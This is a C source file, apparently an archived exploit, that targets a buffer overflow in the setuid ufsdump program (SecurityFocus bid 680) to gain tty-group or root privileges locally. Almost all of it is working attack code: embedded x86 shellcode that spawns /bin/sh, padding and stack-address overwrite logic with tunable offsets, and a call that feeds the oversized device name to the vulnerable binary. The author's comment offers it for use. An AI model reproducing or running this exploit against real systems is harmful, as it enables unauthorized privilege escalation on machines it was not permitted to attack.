56 lines
No EOL
1.9 KiB
C
56 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/680/info
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A buffer overflow vulnerability in the /usr/lib/fs/ufs/ufsdump setuid program allows local users to obtain root and tty group access. The vulnerability is the result of 'ufsdump' not being able to handle device names of a large length.
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/* ufsdump.c
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* Description: Overflows a buffer to give you EGID=tty.
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* At least that's what id reports.
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* The running shell thinks its still the user. Maybe I'm
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* doing something wrong? At any
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* rate, here ya go, have fun.
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*
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* smm@wpi.edu
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* Thanks to: Jesse Schachter for the box, and
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* Unknown parties for the shellcode. (probably Aleph1).
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*/
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#include <stdio.h>
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static inline getesp() {
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__asm__(" movl %esp,%eax ");
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}
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main(int argc, char **argv) {
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int i,j,buffer,offset;
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long unsigned esp;
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char unsigned buf[4096];
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unsigned char
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shellcode[]=
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"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
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"\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
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"\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
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"\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
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"\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
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"\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
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"\xff\xff\xff/bin/sh";
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buffer=895;
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offset=3500;
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if (argc>1)buffer=atoi(argv[1]);
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if (argc>2)offset=atoi(argv[2]);
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for (i=0;i<buffer;i++)
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buf[i]=0x41; /* inc ecx */
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j=0;
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for (i=buffer;i<buffer+strlen(shellcode);i++)
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buf[i]=shellcode[j++];
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esp=getesp()+offset;
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buf[i]=esp & 0xFF;
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buf[i+1]=(esp >> 8) & 0xFF;
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buf[i+2]=(esp >> 16) & 0xFF;
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buf[i+3]=(esp >> 24) & 0xFF;
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buf[i+4]=esp & 0xFF;
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buf[i+5]=(esp >> 8) & 0xFF;
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buf[i+6]=(esp >> 16) & 0xFF;
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buf[i+7]=(esp >> 24) & 0xFF;
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printf("Offset: 0x%x\n\n",esp);
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execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
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} |